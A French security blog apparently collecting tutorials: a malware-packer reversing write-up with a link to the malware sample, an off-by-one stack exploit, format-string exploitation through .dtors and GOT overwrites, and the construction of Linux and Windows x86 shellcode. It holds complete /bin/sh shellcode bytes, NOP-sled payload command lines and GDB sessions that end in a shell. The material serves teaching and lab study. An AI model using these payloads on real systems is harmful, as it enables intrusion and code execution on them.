Reversing d’un packer de malware

Bonsoir,

Je pense que vous vous souvenez de l’analyse du malware que je faisais ; par un jeu de circonstances je l’ai arrêté et je n’ai décidé que récemment de reprendre le tuto afin de lui donne une mise en forme correcte et de présenter ce maigre stuff aux yeux des gens, en espérant que quelques uns d’entre vous y trouvent un quelconque intérêt.

Evidemment, comme j’ai écrit cela en début d’année quand je débutais encore en reversing de malware, ça ne va pas être très poussé ; mais j’y présente quelques techniques classiques que l’on retrouve dans certains vx et la majorité des packers de malwares qui pourraient intéresser les gens ne s’étant jamais vraiment penché sur ce genre de choses.

Bref, trêve de blabla, tout est le reste est dans le pdf.
Critiques bienvenues évidemment, positives ou négatives.

Lien ici : http://re-xe.com/wp-content/uploads/2011/11/Tutoriel+n°12.pdf

EDIT: http://re-xe.com/wp-content/uploads/2011/11/Trojan.Win32.OnlineGameHack.7z // Rajout du malware (pass : infected).

Je terminerai par des remerciements pour ceux qui ont relu ce papier.
Voilà, bonne nuit à tous.

Publié dans Reversing | Marqué avec , , | Laisser un commentaire

L’off-by-one

Intro :

L’off-by-one n’est pas un buffer overflow classique car le principe d’exploitation est totalement différent.
Pour cet article nous allons utiliser ce code source vulnérable et désactiver l’aslr (sysctl -w kernel.randomize_va_space=0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>

#define limit 1024

int     i;

void    func(char *arg)
{
  char  buffer[1024];

  for (i = 0; arg[i] != '\0' && i < limit; i++)
    {
      buffer[i] = arg[i];
    }
  if (strlen(arg) > limit)
    buffer[1024] = 0;
}

int     main(int argc, char *argv[])
{
  if (argc != 2)
    {
      printf("%s <arg>\n", argv[0]);
      return (1);
    }
  func(argv[1]);
  return (0);
}


On compile :

1
gcc off-by-one.c -o off-by-one -mpreferred-stack-boundary=2



Dans cette source, nous voyons bien que le null byte se trouve en dehors du buffer, ce qui permet de terminer la chaîne. Donc contrairement à un buffer overflow, nous n’avons pas écrasé directement EIP mais juste le dernier octet de EBP saved.



Rappel sur les appels de fonction en C :

En C lorsque l’on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l’epilog.
Le prolog est appelé à l’entrée de la fonction (donc avant son exécution) et sert à préparer la pile pour son bon déroulement ; quand à l’epilog, il sert à restaurer la pile dans l’état où elle était avant son appel.

Voici à quoi correspond un prolog :

1
2
push ebp     ; Sauvegarde d'ebp.
mov ebp,esp  ; Création du stack frame.



Pour l’epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :

1
2
leave
ret



Ou :

1
2
3
mov esp,ebp ; Destruction du stack frame.
pop ebp     ; Restaure ebp.
ret




Le bug :

On va utiliser GDB et poser des breakpoints à différents endroits pour surveiller la valeur des registres.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb ./off-by-one
(gdb) disass main
...
End of assembler dump.
(gdb) b * main+0
Breakpoint 1 at 0x8048461
(gdb) b * main+63
Breakpoint 2 at 0x80484a0
(gdb) disass func
...
End of assembler dump.
(gdb) b * func+0
Breakpoint 3 at 0x80483f4
(gdb) b * func+108
Breakpoint 4 at 0x8048460



On run le programme avec en argument pleins de ‘a’…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(gdb) r $(python -c 'print "a"*2048')
Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "a"*2048')

Breakpoint 1, 0x08048461 in main ()
(gdb) p $ebp
$1 = (void *) 0xbffff018
(gdb) c
Continuing.

Breakpoint 3, 0x080483f4 in func ()
(gdb) p $ebp
$2 = (void *) 0xbfffef98 // ebp saved
(gdb) c
Continuing.

Breakpoint 4, 0x08048460 in func ()
(gdb) p $ebp
$3 = (void *) 0xbfffef00 // ebp saved avec le dernier byte écrasé
(gdb) x/2x 0xbfffef00
0xbfffef00: 0x61616161  0x61616161
(gdb) ni
0x0804849a in main () // on se retrouve dans main()
(gdb) p $ebp
$4 = (void *) 0xbfffef00
(gdb) c
Continuing.

Breakpoint 2, 0x080484a0 in main ()
(gdb) x/2x $esp
0xbfffef04: 0x61616161  0x61616161
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()



Ici nous voyons clairement le bug, le dernier byte d’ebp saved a été écrasé par le caractère null qui termine la chaîne, au départ sa valeur était de 0xbfffef98 puis à la sortie de func() elle était de 0xbfffef00.
Si on regarde ce qu’il y a à 0xbfffef00 on y voit nos ‘a’. Donc après l’epilog de func(), le haut de la pile pour main() contient nos ‘a’. Du coup, lors de l’epilog de main() cette fois, ebp va prendre comme valeur 0×61616161.
C’est à l’instruction qui suit (au ret de main) donc à l’instruction pop eip que ça plante, apres avoir dépilé sur la stack la valeur de ebp donc si vous avez bien suivi 0×61616161. EIP va également prendre cette valeur, alors qu’aucune instruction ne se trouve à 0×61616161.



Exploitation :

Pour l’exploitation je vais utiliser un shellcode qui exécute /bin/sh dont voici les bytes :

1
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"



GDB va encore me servir mais cette fois-ci pour trouver l’adresse où jumper :

1
2
3
4
5
6
7
8
9
10
(gdb) r $(python -c 'print "aaaa" * 2048 + "\x90"*1024+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "aaaa" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) x/10000x $esp
...
0xbffff748: 0x90909090  0x90909090  0x90909090  0x90909090
...
(gdb)


Nous n’avons plus qu’à remplacer nos ‘a’ par cette adresse, et normalement ça devrait sauter en plein milieu de nos nops.

1
2
./off-by-one $(python -c 'print "\x48\xf7\xff\xbf" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
$ exit


On a bien obtenu le shell /bin/sh.

C’est tout pour cet article, j’espère vous avoir éclaircit sur ce type d’exploitation ;)

Publié dans Exploitation | Marqué avec | Laisser un commentaire

Les format string bugs

Les Format String Bugs

0×01 – Intro

Un format string bug peut se produire lorsque le programmeur passe à l’une des fonctions de la famille de printf une chaîne fournie par l’utilisateur.

Cet utilisateur peut alors très bien fournir une chaîne de format, et c’est ici que se trouve le bug.
Car si un « %x » se trouve dans cette chaîne et qu’aucun argument à printf n’est donné, alors printf prendra comme argument ce qui se trouve empilé sur la pile, il est donc possible de la lire avec plusieurs « %x ».

rappel: %x affiche sous forme hexadécimal.

Même si la fonction printf est dans la plupart des cas utilisée pour lire ou afficher une variable, elle est aussi capable d’y écrire, et cela se fait avec %n.

Rappel : %n stock le nombre de caractères déjà écrits dans l’argument correspondant.

Exemple de ces deux formats :

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

int main(void)
{
  char c = 'a';
  int i;

  printf("c = %c - %x\n", c, c);
  printf("1234%n\n", &i);
  printf("i = %d\n", i);
  return (0);
}

- On compile :

1
gcc fmt.c -o fmt

- On run :

1
2
3
4
./fmt
c = a - 61
1234
i = 4

%x a fait printf le caractère ‘a’ en hexa qui correspond bien à 61 et %n a bien écrit dans i les 4 caractères affichés.






0×02 – Exemple de lecture/écriture

Ici nous allons voir comment changer la valeur d’une variable d’un programme grâce à un format string bug.

Voici la source du programme utilisé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

int var = 0;

int main(int argc, char *argv[])
{
  char buf[1024];

  if(argc != 2) {
    printf("Error: supply a format string.\n");
    return 1;
  }
  strncpy(buf, argv[1], 1023);
  buf[1024] = 0;
  printf(buf);
  printf("\n\nvar  = %d - %x (%p)\n", var, var, &var);
  return (0);
}

- On compile :

1
gcc fmtbug.c -o fmtbug

Pour commencer il nous faut connaître la position de buf sur la pile, on y parvient en dépilant (avec %x) les valeurs de la stack :

1
2
(for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./fmtbug "ABCD%${val}\$x" ; done) | grep 44434241
val = 5 - ABCD44434241

Nous voyons que le début de notre buf se trouve en cinquième position, vérifions :

1
2
3
4
./fmtbug 'ABCD%5$x'
ABCD44434241

var  = 0 - 0 (0x8049680)

Nous tombons bien sur notre string.

Maintenant nous allons changer la valeur de var qui est de type int, le programme de démonstration affiche son adresse donc nous n’avons pas besoin de la chercher, chez moi l’adresse de var est : 0×8049680

Il faut donc écrire avec %n à cette adresse :

1
2
3
4
./fmtbug `python -c 'print "\x80\x96\x04\x08%5$n"'`
...
...
var  = 4 - 4 (0x8049680)

La valeur de la variable var à changer est 4 car nous avons affichés 4 caractères (\x80 + \x96 + \x04 + \x08). Mais nous pouvons très bien lui donner comme valeur 500 par exemple :

1
2
3
4
./fmtbug `python -c 'print "\x80\x96\x04\x08%496x%5$n"'`
...
...
var  = 500 - 1f4 (0x8049680)

Nous savons maintenant donner une valeur à une variable, voyons alors comment lui donner une adresse :
Pour l’exemple on va donner à la variable « var » la valeur 0xdeadbeef.

Il y a deux façons d’y parvenir :
- Ecrire octet par octet* en commençant par ceux de poids fort.
- Ecrire word par word* toujours en commençant par celui de poids faible.

*Octet par octet : c’est à dire écraser ces 4 adresses : 0×8049680 0×8049680+1 0×8049680+2 0×8049680+3

Comme vu plus haut, nous devons commencer par les octets de poids faible pour 0xdeadbeef et utiliser le spécificateur %hhn.

1
2
3
4
5
6
7
8
>>> 0xde
222
>>> 0xad
173
>>> 0xbe
190
>>> 0xef
239

En premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.
Pour le premier byte (0xad), vu que 4 *4 octets sont déjà placés, c’est à dire nos adresses : « \x80\x96\x04\x08″+ »\x81\x96\x04\x08″+ »\x82\x96\x04\x08″+ »\x83\x96\x04\x08″, il faut en tenir compte :

0xad – (4*4) = 157
0xbe – 0xad = 17
0xde – 0xbe = 32
0xef – 0xde = 17


- Pour l’ordre d’écrasement :
adresse+0: 0xef
adresse+1: 0xbe
adresse+2: 0xad
adresse+3: 0xde


Voici notre exploit :

1
2
3
4
./fmtbug $(python -c 'print "\x80\x96\x04\x08"+"\x81\x96\x04\x08" + "\x82\x96\x04\x08" + "\x83\x96\x04\x08" + "%157c%7$hhn" + "%17c%6$hhn" + "%32c%8$hhn" + "%17c%5$hhn"')
...
...
var  = -559038737 - deadbeef (0x8049680)



*Word par word
En le faisant word par word même principe : le word qui pèse le moins d’abord, suivis de l’autre. Mais nous n’écraserons que deux adresses : 0×8049680 et 0×8049680+2 avec le spécificateur %hn.

1
2
3
4
>>> 0xdead
57005
>>> 0xbeef
48879

Pour le premier word (0xbeef) 2 adresses sont déjà affichées, donc 0xbeef – (4*2) soit 48871 qui sera à adresse+0 et pour le second 0xdead – 0xbeef = 8126 qui sera à adresse+2.


L’exploit :

1
2
3
4
./fmtbug $(python -c 'print "\x80\x96\x04\x08" + "\x82\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
var  = -559038737 - deadbeef (0x8049680)








0×03 – Exploitation

Je vais démontrer ici deux types d’exploitations (les plus connues) : format string bug avec shellcode.


*DTORS – Destructors
.dtors est une section créée par le compilateur GCC qui sert comme destructeur. La section utilisée comme constructeur est appelée .ctors. La section .dtors est une table de fonctions qui sont appelées juste après la sortie de main(). Voici à quoi ressemble la section .dtors pour notre programme fmtbug :

1
2
3
4
5
6
objdump -s -j .dtors ./fmtbug

./fmtbug:     file format elf32-i386

Contents of section .dtors:
 8049570 ffffffff 00000000                    ........



La section .dtors est accessible en écriture, nous comprenons tout de suite qu’il est donc possible d’écraser une adresse contenue dans .dtors par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de .dtors. Cette dernière adresse peut être trouvée grâce au tool « nm ».

1
2
3
nm ./fmtbug | grep DTOR
08049574 d __DTOR_END__
08049570 d __DTOR_LIST__

__DTOR_LIST__ représente le début de la section et __DTOR_END__ la fin. Il nous faut donc écraser l’adresse de __DTOR_END__, soit 0×08049574. Pour commencer, nous allons détourner le flux d’exécution de format bug pour le faire sauter sur 0xdeadbeef afin d’obtenir un segfault.

1
ulimit -c unlimited
1
2
3
4
./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Erreur de segmentation (core dumped)
1
2
3
4
gdb -c core
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb)



Maintenant que nous arrivons à détourner le flux du programme, il faudrait qu’il puisse jump sur un shellcode, c’est ce que nous allons voir. Dans cet exemple, le shellcode sera dans une variable d’environnement :

1
export EGG=$(python -c 'print "\x90" * 2048 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Pour trouver l’adresse sur laquelle jumper nous allons utiliser GDB, reprendre l’exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0×90.

1
2
3
4
5
6
7
8
9
10
11
12
gdb ./fmtbug

(gdb) r $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/500x $esp
...
...
0xbffff2fc: 0x90909090  0x90909090  0x90909090  0x90909090



Je vais donc prendre cette adresse (0xbffff2fc) pour que l’on saute dans les NOPs pour finir par exécuter le shellcode :

1
2
3
4
5
6
7
8
9
>>> 0xbfff
49151
>>> 0xf2fc
62204
>>> 0xbfff - (4*2)
49143
>>> 0xf2fc - 0xbfff
13053
>>>
1
2
3
4
5
6
./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%49143u%6$hn" + "%13053u%5$hn"')
...
...
var  = 0 - 0 (0x8049680)
$ exit
user@distro:~/fmtbug$



Et voila \o/ le shellcode a bien été exécuté ;)


*GOT – Global Offset Table
Cette table contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à objdump :

1
2
3
4
5
6
7
8
9
10
11
12
objdump -R ./fmtbug

./fmtbug:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf
0804966c R_386_JUMP_SLOT   puts



Nous devons alors savoir laquelle de ces fonctions est appeleé après notre printf vulnérable. Pour voir cela, nous allons utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gdb ./fmtbug
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483d4 <main+0>:    push   ebp
0x080483d5 <main+1>:    mov    ebp,esp
0x080483d7 <main+3>:    sub    esp,0x414
0x080483dd <main+9>:    cmp    DWORD PTR [ebp+0x8],0x2
0x080483e1 <main+13>:   je     0x80483fb <main+39>
0x080483e3 <main+15>:   mov    DWORD PTR [esp],0x804852c
0x080483ea <main+22>:   call   0x8048340 <puts@plt>
0x080483ef <main+27>:   mov    DWORD PTR [ebp-0x404],0x1
0x080483f9 <main+37>:   jmp    0x8048460 <main+140>
0x080483fb <main+39>:   mov    eax,DWORD PTR [ebp+0xc]
0x080483fe <main+42>:   add    eax,0x4
0x08048401 <main+45>:   mov    eax,DWORD PTR [eax]
0x08048403 <main+47>:   mov    DWORD PTR [esp+0x8],0x3ff
0x0804840b <main+55>:   mov    DWORD PTR [esp+0x4],eax
0x0804840f <main+59>:   lea    eax,[ebp-0x400]
0x08048415 <main+65>:   mov    DWORD PTR [esp],eax
0x08048418 <main+68>:   call   0x8048310 <strncpy@plt>
0x0804841d <main+73>:   mov    BYTE PTR [ebp+0x0],0x0
0x08048421 <main+77>:   lea    eax,[ebp-0x400]
0x08048427 <main+83>:   mov    DWORD PTR [esp],eax
0x0804842a <main+86>:   call   0x8048330 <printf@plt>
0x0804842f <main+91>:   mov    eax,ds:0x8049680
0x08048434 <main+96>:   mov    edx,DWORD PTR ds:0x8049680
0x0804843a <main+102>:  mov    DWORD PTR [esp+0xc],0x8049680
0x08048442 <main+110>:  mov    DWORD PTR [esp+0x8],eax
0x08048446 <main+114>:  mov    DWORD PTR [esp+0x4],edx
0x0804844a <main+118>:  mov    DWORD PTR [esp],0x804854b
0x08048451 <main+125>:  call   0x8048330 <printf@plt>
0x08048456 <main+130>:  mov    DWORD PTR [ebp-0x404],0x0
0x08048460 <main+140>:  mov    eax,DWORD PTR [ebp-0x404]
0x08048466 <main+146>:  leave  
0x08048467 <main+147>:  ret    
End of assembler dump.
(gdb)



Nous voyons qu’après le printf vulnérable (qui se trouve à l’adresse 0x0804842a), c’est encore un printf qui est appelé, il faut donc le remplacer. Si nous regardons la sortie d’objdump nous voyons que printf se trouve à 0×08049668. Pour cet exemple nous n’allons pas utiliser de variable d’environnement pour stocker notre shellcode, nous allons le passer en même temps dans la format string mais il nous faut son adresse, encore une fois je vais utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12
gdb ./fmtbug

(gdb) r $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/100x $esp
...
...
0xbffff270: 0x90909090  0x90909090  0x90909090  0x90909090
...



Je vais donc écraser l’adresse de printf qui est à 0×08049668 par 0xbffff270 où se trouvent nos NOPs.

1
2
3
4
5
6
7
8
9
>>> 0xbfff
49151
>>> 0xf270
62064
>>> 0xbfff - (4*2)
49143
>>> 0xf270 - 0xbfff
12913
>>>



On a maintenant tout ce qu’il nous faut, exploitons-le :

1
2
3
4
./fmtbug $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%49143u%6$hn" + "%12913u%5$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
...
����$ exit
user@distro:~/fmtbug$



W00t, on obtient bien un shell (on le voit avec le ‘$’).

C’est tout pour cet article, j’espère vous avoir éclairci sur les exploitations de type format string.

Publié dans Exploitation | Marqué avec , , | 4 commentaires

Les shellcodes x86 sur Linux :

Les shellcodes sont utilisés le plus souvent comme code arbitraire à injecter dans la mémoire d’un programme vulnérable afin d’être exécuté après avoir détourné le flux d’exécution de ce même programme, comme par exemple dans un stack overflow.
 
Pour concevoir un shellcode Linux on utilise les appels système ou syscall qui sont identifiés par des numéros placés dans le registre eax. Certains syscall ont besoin d’arguments, ces arguments lorsqu’ils ne dépassent pas le nombre de 6, sont placés dans les registres. Le premier registre d’argument étant ebx, le second ecx, le troisième edx, le quatrième esi, le cinquième edi et le dernier ebp. Pour les syscalls nécessitants plus de 6 arguments, une structure contenant tous les arguments est donnée en premier argument.
Les syscalls sont exécutés grâce à l’instruction : int 0×80. Pour connaître le numéro ou identifiant du syscall vous pouvez regarder dans le fichier « /usr/include/asm/unistd_32.h ».
 
Dans cet article le but du shellcode va être de lancer un shell « /bin/sh ». Pour générer ce shell nous allons utiliser la fonction execve dont le prototype est :
 

1
2
int execve(const char *filename, char *const argv[],
           char *const envp[]);


 
Nous pouvons voir qu’execve prend 3 arguments : le premier un pointeur vers la string contenant le nom de la commande (pour nous ce sera la string « /bin/sh »), le deuxième un tableau d’arguments qui contiendra « /bin/sh » et « NULL », et pour le troisième, nous n’en avons pas besoin, il sera donc « NULL ».
 
Nous pouvons voir que le syscall de execve vaut 11 :

1
2
grep "execve" /usr/include/asm/unistd_32.h
#define __NR_execve              11


 
La technique pour obtenir le pointeur sur la chaîne « /bin/sh », celle utilisant jmp, call et pop est détaillée ici : Les shellcodes x86 sur Windows seven.
 
Voici à quoi pourrait ressembler le code asm exécutant « /bin/sh » :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
section .text

global _start

_start:

  jmp GetString

    GetStringReturn:
      pop esi                ; esi = ptr sur "/bin/sh#"
      xor eax,eax            ; eax = 0
      mov byte [esi+7],al    ; esi = ptr sur "/bin/sh"
      mov dword [esi+8],esi  ; esi+8 = ptr sur "/bin/sh"
      mov dword [esi+12],eax ; esi+12 = NULL
   
      mov al, 0xb            ; Place le syscall dans eax.
   
      lea ebx,[esi]          ; Premier argument = ptr sur "/bin/sh"
      lea ecx,[esi+8]        ; Second argument = ptr sur ["/bin/sh", NULL]
      lea edx,[esi+12]       ; Troisième argument = NULL.
   
      int 0x80               ; Exécute le syscall.
           
    GetString:
      call GetStringReturn   ; Empile l'adresse de "/bin/sh#" sur la stack.
      db "/bin/sh#"


 
Pour assembler ce code je vais utiliser nasm :

1
2
nasm -f elf32 sc.asm
ld sc.o -o sc -m elf_i386


 
Maintenant, il nous faut obtenir les bytes qui forment ce shellcode, pour cela vous pouvez utiliser objdump :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
objdump -d ./sc

./sc:     file format elf32-i386


Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 18                   jmp    804809a <GetString>

08048082 <GetStringReturn>:
 8048082:       5e                      pop    %esi
 8048083:       31 c0                   xor    %eax,%eax
 8048085:       88 46 07                mov    %al,0x7(%esi)
 8048088:       89 76 08                mov    %esi,0x8(%esi)
 804808b:       89 46 0c                mov    %eax,0xc(%esi)
 804808e:       b0 0b                   mov    $0xb,%al
 8048090:       8d 1e                   lea    (%esi),%ebx
 8048092:       8d 4e 08                lea    0x8(%esi),%ecx
 8048095:       8d 56 0c                lea    0xc(%esi),%edx
 8048098:       cd 80                   int    $0x80

0804809a <GetString>:
 804809a:       e8 e3 ff ff ff          call   8048082 <GetStringReturn>
 804809f:       2f                      das    
 80480a0:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480a3:       2f                      das    
 80480a4:       73 68                   jae    804810e <GetString+0x74>
 80480a6:       23                      .byte 0x23


 
Ou cet outil qui affiche directement la string à placer dans l’exploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <elf.h>

int
main(int argc, char *argv[])
{
    int fd = -1;
    void *map = NULL;
    Elf32_Ehdr *ehdr = NULL;
    Elf32_Shdr *shdr = NULL;
    unsigned char *strtab = NULL;
    uint32_t offset = 0;
    uint32_t size = 0;
    uint32_t n = 0;
    struct stat sb;
    unsigned i;
    unsigned char *pbyte;

    if(argc != 2) {
        fprintf(stderr, "USAGE: %s <bin>\n", argv[0]);
        return 1;
    }

    if((fd = open(argv[1], O_RDONLY)) < 0) {
        perror("open");
        return 1;
    }

    if((fstat(fd, &sb)) < 0) {
        perror("fstat");
        return 1;
    }

    if((map = mmap(NULL, sb.st_size, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    close(fd);

    ehdr = (Elf32_Ehdr *)map;

    if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG) != 0) {
        fprintf(stderr, "\"%s\" is not an ELF file\n", argv[1]);
        return 1;
    }

    shdr = (Elf32_Shdr *)(map + ehdr->e_shoff);

    strtab = (unsigned char *)map + shdr[ehdr->e_shstrndx].sh_offset;

    for(i = 0; i < ehdr->e_shnum; i++)
        if(!strcmp(strtab + shdr[i].sh_name, ".text")) {
            offset  = shdr[i].sh_offset;
            size        = shdr[i].sh_size;
        }

    if((offset == 0) && (size == 0)) {
        fprintf(stderr, "can't find .text section in %s\n", argv[1]);
        return 1;
    }

    pbyte = map + offset;

    printf("\"");

    while(n < size) {
        printf("\\x%.2x", *pbyte);

        pbyte++;
        n++;

        if(!(n % 15))
            printf("\"\n\"");
    }

    if(n % 15)
        printf("\"");

    printf("\n");

    return 0;
}


 
Qui une fois exécuté, affiche :

1
2
3
4
./getShellcode ../sc
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
"\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"


 
Pour tester ce shellcode nous allons utiliser un programme intermédiaire écrit en C, sans oublier que maintenant, le plus souvent sur Linux : la stack est non-exécutable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>

char sc[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
        "\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";

int main()
{
  printf("sc length: %d\n", strlen(sc));
  void * a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
  ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
}


 
Si on exécute ce code, on obtient :

1
2
3
./testsc
sc length: 39
sh-4.2$


On a un shell ;)

Publié dans Shellcode | Marqué avec , , , | Un commentaire

Les shellcodes x86 sur Windows seven :

Un shellcode est un code arbitraire injecté dans la mémoire comme par exemple dans le cas d’un buffer overflow permettant de faire ce que l’on veut sur le pc de la victime, on les appelle shellcode car ce type de code est souvent utilisé pour obtenir un shell ou une invite de commande pour prendre le contrôle total du pc distant. Les shellcodes sont constitués d’une suite d’instructions assembleur et peuvent donc faire tout ce que l’on souhaite.

L’écriture de shellcodes Windows nécessite de connaître les API Windows, de savoir dans quelle dll une fonction que l’on souhaite utiliser se trouve, de charger cette dll puis d’appeler directement l’adresse de la fonction.

Il faut savoir qu’un shellcode ne doit pas contenir de null byte ou octet nul en français, c’est à dire le caractère de terminaison d’une string en C, car dans un exploit, le shellcode est placé dans un tableau de char afin d’être comme je le disais : injecté, donc si un null byte se trouve dans cette chaîne, votre shellcode ne sera pas entièrement copié dans le buffer et ne pourra donc fonctionner normalement.

 

Shellcode statique :

Dans un premier temps on va créer un shellcode statique c’est à dire qui ne fonctionnera plus lorsque vous aurez rebooté votre seven et ceci à cause de l’aslr (Address Space Layout Randomization) introduit sur les OS de microsoft depuis la sortie de vista. Notre shellcode sera tout simple, il affichera une MessageBox avec un titre et un message, puis quittera.

On a donc besoin de l’adresse effective de LoadLibraryA qui se trouve dans kernel32.dll pour charger user32.dll, de l’adresse effective de MessageBoxA contenue dans cette dernière et de ExitProcess qui se trouve également dans kernel32.dll, qui elle est toujours chargée.

Voici les prototypes de nos fonctions :

1
2
3
HMODULE WINAPI LoadLibraryA(
__in LPCTSTR lpFileName
);


 

1
2
3
4
5
6
int WINAPI MessageBoxA(
__in_opt HWND hWnd,
__in_opt LPCTSTR lpText,
__in_opt LPCTSTR lpCaption,
__in UINT uType
);


 

1
2
3
VOID WINAPI ExitProcess(
__in UINT uExitCode
);


 

Pour trouver ces adresses je vais utiliser mon tool : ListExportedFunctions. Mais vous pouvez utiliser les fonctions LoadLibrary() et GetProcAddress() pour les obtenir.

On obtient l’adresse 0x76F74BC6 pour LoadLibraryA, 0x7782FEAE pour MessageBoxA et 0x76F7734E pour ExitProcess.

En ce qui concerne les strings dont nous avons besoin pour nos fonctions, sachant que dans un shellcode on ne peut utiliser la section réservée aux données, celle nommée « .data », nous utiliserons une technique se servant des instructions jmp, call et pop, pour obtenir un pointeur vers chacune de nos strings.

Voici un exemple de cette technique :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.386
.model flat, stdcall

option casemap:none

.code

start:

jmp getString

getStringReturn:
pop ecx

getString:
call getStringReturn
db "hello world",0

end start


 

